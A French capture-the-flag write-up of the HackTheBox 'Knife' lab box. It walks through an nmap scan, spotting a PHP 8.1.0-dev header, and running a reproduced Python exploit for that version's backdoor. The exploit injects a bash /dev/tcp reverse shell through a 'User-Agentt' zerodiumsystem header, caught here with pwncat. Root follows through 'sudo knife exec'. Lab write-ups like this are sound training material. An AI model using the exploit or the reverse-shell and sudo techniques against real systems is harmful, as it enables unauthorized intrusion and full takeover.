Knife - Easy

Une petite box linux, ça fais plaisir. En avant !!!

💡 IP cible : 10.10.10.242

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

💡 Ici on fait un petit scan Nmap pour avoir plus d'informations sur notre machine.

Ce qui est intéressant ici c'est le serveur apache !

```
curl -i http://10.10.10.242:80/index.php
HTTP/1.1 200 OK
Date: Fri, 04 Nov 2022 21:35:50 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
```

💡 Après s'être baladé un peu sur le site je cherche des informations supplémentaires sur la page index .php (que j'ai trouvé à l'inti ut mais on peut la retrouver avec un scan dirsearch par exemple).

Ici la mention X-Powered-By: PHP/8.1.0-dev nous permet d'aller chercher sur le net des vulnérabilités lié à cette version.

💡 Après un peu de recherche je trouve une exploitation en python d'une vulnerabilté type RCE basé sur le user-agent en python (https://github.com/flast101/php-8.1.0-dev-backdoor-rce). On récupère ici la version Reverse-Shell de l'exploit et on le test sur notre cible.

```
# Exploit Title: PHP 8.1.0-dev Backdoor Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
#     - https://hub.docker.com/r/phpdaily/php
#     - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# CVE : N/A
# References:
#     - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
#     - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com
An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered
The following exploit uses the backdoor to provide a pseudo shell ont the host.
Usage:
  python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>
"""

#!/usr/bin/env python3
import os, sys, argparse, requests

request = requests.Session()
```

```
def check_target(args):
    response = request.get(args.url)
    for header in response.headers.items():
        if "PHP/8.1.0-dev" in header[1]:
            return True
    return False

def reverse_shell(args):
    payload = 'bash -c \"bash -i >& /dev/tcp/' + args.lhost + '/' + args.lport + ' 0>&1\"'
    injection = request.get(args.url, headers={"User-Agentt": "zerodiumsystem('" + payload + "');"}, allow_redirects = False)

def main():
    parser = argparse.ArgumentParser(description="Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shel
    parser.add_argument("url", metavar='<target URL>', help="Target URL")
    parser.add_argument("lhost", metavar='<attacker IP>', help="Attacker listening IP",)
    parser.add_argument("lport", metavar='<attacker PORT>', help="Attacker listening port")
    args = parser.parse_args()
    if check_target(args):
        reverse_shell(args)
    else:
        print("Host is not available or vulnerable, aborting...")
        exit

if __name__ == "__main__":
    main()
```

```
~/ctf python exploit2.py http://10.10.10.242/ 10.10.14.22 1234
```

```
~ pwncat-cs -lp 1234
/home/oxe/.local/lib/python3.10/site-packages/paramiko
  'class': algorithms.Blowfish,
[23:02:13] Welcome to pwncat 🐈!
[23:02:17] received connection from 10.10.10.242:54320
[23:02:18] 10.10.10.242:54320: registered new host w/
(local) pwncat$ back
(remote) james@knife:/$ id
uid=1000(james) gid=1000(james) groups=1000(james)
(remote) james@knife:/$
```

💡 Et Hop nous voilà user (james) plus qu'a faire notre élévation de privilège !

```
(remote) james@knife:/home/james$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife
```

```
(remote) james@knife:/home/james$     sudo knife exec -E 'exec "/bin/sh"'
\[\](remote)\[\] \[\]root@knife\[\]:\[\]/home/james\[\]$ /bin/bash
/bin/bash: not found
\[\](remote)\[\] \[\]root@knife\[\]:\[\]/home/james\[\]$ /bin/bash
root@knife:/home/james# id
uid=0(root) gid=0(root) groups=0(root)
root@knife:/home/james#
```

💡 Après un peu de recherche sur le net je trouve un article sur une élévation de privilège utilisant knife.

https://gtfobins.github.io/gtfobins/knife/

Je fais évoluer le shell de sh à bash pour plus de facilité et nous voilà root on va maintenant chercher nos flag

```
(remote) james@knife:/home/james$ ls
user.txt
```

```
root@knife:/home/james# cd /root/
root@knife:~# ls
delete.sh  root.txt  snap
```